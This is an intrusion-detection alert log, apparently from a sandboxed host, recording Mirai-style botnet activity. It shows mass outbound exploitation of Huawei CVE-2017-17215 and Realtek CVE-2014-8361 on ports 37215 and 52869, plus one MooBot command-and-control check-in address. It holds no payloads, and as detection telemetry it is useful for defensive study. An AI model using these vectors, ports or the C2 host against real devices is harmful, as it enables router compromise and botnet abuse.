07/20/24-23:01:14.559539	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59584	52869	192.168.2.13	138.96.171.141
07/20/24-23:01:14.531479	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41428	52869	192.168.2.13	220.26.7.227
07/20/24-23:01:14.527949	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46836	52869	192.168.2.13	57.86.64.87
07/20/24-23:01:25.391404	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47812	37215	192.168.2.13	41.227.182.51
07/20/24-23:01:02.620832	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50010	37215	192.168.2.13	197.215.77.6
07/20/24-23:01:14.505885	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34902	52869	192.168.2.13	100.58.169.89
07/20/24-23:01:08.381624	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53524	37215	192.168.2.13	41.179.179.173
07/20/24-23:01:27.229449	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37706	37215	192.168.2.13	157.218.91.167
07/20/24-23:01:06.606759	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48704	52869	192.168.2.13	51.65.47.196
07/20/24-23:01:25.414724	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49412	37215	192.168.2.13	73.102.71.84
07/20/24-23:00:59.021164	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56172	37215	192.168.2.13	41.255.114.202
07/20/24-23:01:22.743882	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48032	37215	192.168.2.13	195.23.46.104
07/20/24-23:01:06.804996	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34900	37215	192.168.2.13	141.150.31.80
07/20/24-23:01:06.808312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47146	37215	192.168.2.13	41.148.73.239
07/20/24-23:01:36.798333	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33400	37215	192.168.2.13	41.206.228.120
07/20/24-23:01:06.802009	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46140	37215	192.168.2.13	197.106.105.40
07/20/24-23:01:19.625770	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33640	52869	192.168.2.13	157.51.202.158
07/20/24-23:01:06.809008	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39856	37215	192.168.2.13	197.91.71.217
07/20/24-23:01:27.354949	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51096	52869	192.168.2.13	77.121.237.8
07/20/24-23:01:06.801543	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48278	37215	192.168.2.13	197.45.247.117
07/20/24-23:01:06.264587	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41372	52869	192.168.2.13	81.73.195.232
07/20/24-23:01:06.799605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54526	37215	192.168.2.13	41.255.9.44
07/20/24-23:01:19.370995	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50368	52869	192.168.2.13	77.121.237.8
07/20/24-23:01:06.194003	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35384	52869	192.168.2.13	14.2.30.96
07/20/24-23:01:32.132516	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	36196	2466	192.168.2.13	15.235.203.214
07/20/24-23:01:08.435254	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34262	37215	192.168.2.13	119.212.55.61
07/20/24-23:00:59.022255	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57130	37215	192.168.2.13	41.187.2.103
07/20/24-23:01:07.357587	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57700	52869	192.168.2.13	180.115.139.253
07/20/24-23:01:07.491149	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46874	52869	192.168.2.13	106.194.122.151
07/20/24-23:01:06.804997	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52250	37215	192.168.2.13	51.113.47.127
07/20/24-23:01:14.506916	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47204	52869	192.168.2.13	40.11.215.79
07/20/24-23:01:27.353289	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45900	52869	192.168.2.13	148.238.53.45
07/20/24-23:01:36.808711	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51588	37215	192.168.2.13	197.101.65.229
07/20/24-23:01:04.892226	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51268	37215	192.168.2.13	157.194.214.218
07/20/24-23:01:25.390544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41820	37215	192.168.2.13	197.240.221.77
07/20/24-23:01:05.552200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37294	52869	192.168.2.13	91.73.86.81
07/20/24-23:01:22.746773	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57406	37215	192.168.2.13	157.82.18.219
07/20/24-23:01:02.685657	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44042	37215	192.168.2.13	197.26.124.173
07/20/24-23:01:36.855169	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58676	37215	192.168.2.13	41.253.201.13
07/20/24-23:01:36.850100	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44266	37215	192.168.2.13	151.30.84.182
07/20/24-23:01:02.607205	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54996	37215	192.168.2.13	197.141.132.83
07/20/24-23:01:06.798720	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42640	37215	192.168.2.13	197.250.244.14
07/20/24-23:01:20.418133	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42426	52869	192.168.2.13	186.183.79.214
07/20/24-23:01:27.237698	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51644	37215	192.168.2.13	189.83.252.74
07/20/24-23:01:22.797406	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42600	37215	192.168.2.13	157.163.250.104
07/20/24-23:01:07.304193	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46714	52869	192.168.2.13	79.212.148.111
07/20/24-23:01:14.559132	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44004	52869	192.168.2.13	160.161.205.189
07/20/24-23:01:22.819750	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57852	37215	192.168.2.13	197.107.164.81
07/20/24-23:01:27.263646	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49878	37215	192.168.2.13	197.132.29.177
07/20/24-23:01:32.232613	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47324	37215	192.168.2.13	25.130.20.81
07/20/24-23:01:02.607205	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32842	37215	192.168.2.13	157.204.6.4
07/20/24-23:01:05.995422	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55744	52869	192.168.2.13	137.137.144.212
07/20/24-23:01:08.455372	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60768	37215	192.168.2.13	197.247.171.83
07/20/24-23:00:59.023270	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59968	37215	192.168.2.13	157.184.88.81
07/20/24-23:01:06.798414	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38862	37215	192.168.2.13	212.212.121.173
07/20/24-23:01:06.841059	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54588	37215	192.168.2.13	41.14.140.1
07/20/24-23:01:25.397771	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55916	37215	192.168.2.13	104.206.254.210
07/20/24-23:01:04.161259	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50584	52869	192.168.2.13	162.120.56.216
07/20/24-23:01:32.257456	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38010	37215	192.168.2.13	223.103.24.138
07/20/24-23:01:27.355018	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33976	52869	192.168.2.13	84.156.35.88
07/20/24-23:01:36.781974	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36944	37215	192.168.2.13	157.37.95.226
07/20/24-23:01:06.799605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32820	37215	192.168.2.13	141.99.41.99
07/20/24-23:01:17.785461	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60746	37215	192.168.2.13	197.77.227.245
07/20/24-23:01:36.785491	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44562	37215	192.168.2.13	41.232.34.106
07/20/24-23:01:15.000002	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40170	37215	192.168.2.13	222.17.83.67
07/20/24-23:01:07.342040	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57096	52869	192.168.2.13	35.206.55.83
07/20/24-23:01:14.998674	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35204	37215	192.168.2.13	197.57.31.235
07/20/24-23:01:04.848080	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35742	37215	192.168.2.13	41.59.223.239
07/20/24-23:01:07.419109	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58454	52869	192.168.2.13	50.236.24.191
07/20/24-23:01:14.521197	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49090	52869	192.168.2.13	68.30.100.71
07/20/24-23:01:04.879348	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39886	37215	192.168.2.13	157.208.118.243
07/20/24-23:01:14.517249	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59482	52869	192.168.2.13	74.253.225.130
07/20/24-23:01:17.786876	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59512	37215	192.168.2.13	110.255.94.235
07/20/24-23:01:02.661070	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51910	37215	192.168.2.13	157.125.89.203
07/20/24-23:00:59.020188	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34008	37215	192.168.2.13	197.39.121.171
07/20/24-23:01:15.087650	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44818	37215	192.168.2.13	44.184.39.95
07/20/24-23:01:22.743515	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49402	37215	192.168.2.13	78.175.0.114
07/20/24-23:01:14.527257	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60312	52869	192.168.2.13	9.231.7.210
07/20/24-23:01:32.213464	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58488	37215	192.168.2.13	197.219.250.80
07/20/24-23:01:27.358600	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56658	52869	192.168.2.13	80.223.139.197
07/20/24-23:01:06.800492	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36610	37215	192.168.2.13	129.45.186.97
07/20/24-23:01:14.998674	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38652	37215	192.168.2.13	41.7.29.244
07/20/24-23:01:02.699257	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35252	37215	192.168.2.13	170.253.218.179
07/20/24-23:01:04.864677	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41484	37215	192.168.2.13	157.180.142.161
07/20/24-23:01:27.352673	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50294	52869	192.168.2.13	67.52.151.110
07/20/24-23:01:19.612320	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39578	52869	192.168.2.13	123.81.251.53
07/20/24-23:01:22.746773	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40638	37215	192.168.2.13	41.177.51.37
07/20/24-23:01:36.794115	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56380	37215	192.168.2.13	197.232.126.115
07/20/24-23:01:27.354360	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37072	52869	192.168.2.13	187.26.97.109
07/20/24-23:01:06.600161	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45432	52869	192.168.2.13	202.189.16.223
07/20/24-23:01:27.297470	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60152	37215	192.168.2.13	197.171.19.190
07/20/24-23:01:12.483085	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47110	37215	192.168.2.13	71.13.191.125
07/20/24-23:00:59.023733	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36856	37215	192.168.2.13	197.84.11.202
07/20/24-23:01:06.801053	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34770	37215	192.168.2.13	126.247.30.6
07/20/24-23:01:19.988832	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52402	52869	192.168.2.13	182.69.101.91
07/20/24-23:01:03.808937	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38814	52869	192.168.2.13	52.185.40.220
07/20/24-23:01:22.744419	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34702	37215	192.168.2.13	157.133.210.227
07/20/24-23:01:32.208939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48656	37215	192.168.2.13	5.7.47.44
07/20/24-23:00:59.021252	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38068	37215	192.168.2.13	37.50.200.38
07/20/24-23:01:05.643403	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60734	52869	192.168.2.13	17.217.65.15
07/20/24-23:01:25.391285	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33248	37215	192.168.2.13	41.196.109.118
07/20/24-23:01:07.518638	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42540	52869	192.168.2.13	32.227.60.125
07/20/24-23:01:04.859993	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56376	37215	192.168.2.13	41.158.187.102
07/20/24-23:01:17.782283	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43364	37215	192.168.2.13	41.122.39.77
07/20/24-23:01:06.808312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57400	37215	192.168.2.13	12.119.212.86
07/20/24-23:01:14.546163	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55464	52869	192.168.2.13	144.53.119.5
07/20/24-23:01:15.110016	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33876	37215	192.168.2.13	157.35.6.165
07/20/24-23:01:06.798866	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37538	37215	192.168.2.13	157.244.22.221
07/20/24-23:01:14.521013	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33266	52869	192.168.2.13	153.97.31.189
07/20/24-23:01:14.998084	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54550	37215	192.168.2.13	41.34.181.62
07/20/24-23:01:22.737206	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33850	37215	192.168.2.13	157.19.188.155
07/20/24-23:01:06.804996	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40206	37215	192.168.2.13	41.76.130.145
07/20/24-23:01:06.293358	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53508	52869	192.168.2.13	144.53.119.5
07/20/24-23:01:19.969809	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34548	52869	192.168.2.13	207.190.228.219
07/20/24-23:01:22.812907	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41036	37215	192.168.2.13	157.121.72.96
07/20/24-23:01:06.248510	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60044	52869	192.168.2.13	114.0.228.232
07/20/24-23:01:07.232267	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36452	52869	192.168.2.13	124.49.210.94
07/20/24-23:01:06.800492	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51244	37215	192.168.2.13	157.244.217.198
07/20/24-23:01:27.236376	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49734	37215	192.168.2.13	157.194.250.247
07/20/24-23:01:04.848605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55820	37215	192.168.2.13	137.251.208.230
07/20/24-23:01:06.856653	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38670	52869	192.168.2.13	20.106.107.244
07/20/24-23:01:36.850101	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45652	37215	192.168.2.13	41.229.108.254
07/20/24-23:01:14.517250	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45326	52869	192.168.2.13	49.79.222.119
07/20/24-23:01:17.802655	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37654	37215	192.168.2.13	12.183.69.2
07/20/24-23:01:14.517363	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42476	52869	192.168.2.13	156.218.218.173
07/20/24-23:01:32.202245	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57942	37215	192.168.2.13	157.178.191.248
07/20/24-23:01:06.827198	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52954	37215	192.168.2.13	157.141.237.51
07/20/24-23:01:20.491915	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35996	52869	192.168.2.13	70.153.220.198
07/20/24-23:01:36.794115	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34654	37215	192.168.2.13	182.252.69.39
07/20/24-23:00:59.021490	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58760	37215	192.168.2.13	52.138.177.196
07/20/24-23:01:08.418538	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54122	37215	192.168.2.13	138.119.175.2
07/20/24-23:01:36.793382	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40336	37215	192.168.2.13	157.56.121.105
07/20/24-23:01:32.192487	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57544	37215	192.168.2.13	41.3.121.137
07/20/24-23:01:04.553633	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46976	52869	192.168.2.13	125.165.157.181
07/20/24-23:01:27.229449	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43740	37215	192.168.2.13	41.164.74.99
07/20/24-23:01:12.504870	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49290	37215	192.168.2.13	197.58.247.74
07/20/24-23:01:02.603717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41860	37215	192.168.2.13	140.242.21.87
07/20/24-23:01:20.587272	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53230	52869	192.168.2.13	147.253.173.13
07/20/24-23:01:22.753217	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33710	37215	192.168.2.13	157.127.151.237
07/20/24-23:01:04.874131	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41850	37215	192.168.2.13	157.243.126.145
07/20/24-23:01:12.360354	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54960	37215	192.168.2.13	157.230.222.12
07/20/24-23:01:02.607576	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55314	37215	192.168.2.13	197.75.142.184
07/20/24-23:01:02.685656	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36066	37215	192.168.2.13	41.190.198.11
07/20/24-23:01:06.621773	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36064	52869	192.168.2.13	198.95.42.42
07/20/24-23:01:08.407500	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35168	37215	192.168.2.13	197.170.236.11
07/20/24-23:01:05.077585	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53172	52869	192.168.2.13	51.169.114.105
07/20/24-23:01:19.942832	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47088	52869	192.168.2.13	197.5.41.2
07/20/24-23:01:04.879348	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39622	37215	192.168.2.13	197.2.40.4
07/20/24-23:01:06.800702	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45248	37215	192.168.2.13	181.190.213.191
07/20/24-23:01:08.386561	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58808	37215	192.168.2.13	120.157.208.82
07/20/24-23:01:32.202245	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42428	37215	192.168.2.13	157.33.148.71
07/20/24-23:01:22.739710	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38354	37215	192.168.2.13	157.133.112.241
07/20/24-23:01:12.485954	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44408	37215	192.168.2.13	197.212.40.166
07/20/24-23:01:22.834271	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34036	37215	192.168.2.13	41.178.5.152
07/20/24-23:01:25.450878	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41564	37215	192.168.2.13	218.237.12.255
07/20/24-23:01:32.263122	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45866	37215	192.168.2.13	64.105.126.104
07/20/24-23:01:08.447449	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42350	37215	192.168.2.13	157.183.3.29
07/20/24-23:01:36.781974	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48676	37215	192.168.2.13	197.148.108.70
07/20/24-23:01:32.199687	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51558	37215	192.168.2.13	104.66.3.1
07/20/24-23:01:04.779681	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57552	52869	192.168.2.13	147.164.232.161
07/20/24-23:01:36.780626	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41906	37215	192.168.2.13	157.127.253.177
07/20/24-23:01:12.483169	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35264	37215	192.168.2.13	197.54.33.180
07/20/24-23:01:14.513824	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41742	52869	192.168.2.13	213.139.43.137
07/20/24-23:01:27.366829	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34996	52869	192.168.2.13	98.113.228.216
07/20/24-23:01:19.604116	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45058	52869	192.168.2.13	188.171.53.74
07/20/24-23:01:21.640040	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60348	52869	192.168.2.13	159.48.133.27
07/20/24-23:00:59.019997	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53188	37215	192.168.2.13	157.34.92.241
07/20/24-23:01:06.889978	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57092	52869	192.168.2.13	178.39.107.192
07/20/24-23:01:08.381624	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46144	37215	192.168.2.13	41.249.67.102
07/20/24-23:01:25.389445	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53806	37215	192.168.2.13	41.204.210.210
07/20/24-23:01:14.518210	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34642	52869	192.168.2.13	71.240.247.135
07/20/24-23:01:02.595730	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43498	37215	192.168.2.13	197.68.211.95
07/20/24-23:01:06.511162	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40030	52869	192.168.2.13	179.27.16.177
07/20/24-23:00:59.022402	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58296	37215	192.168.2.13	197.9.119.173
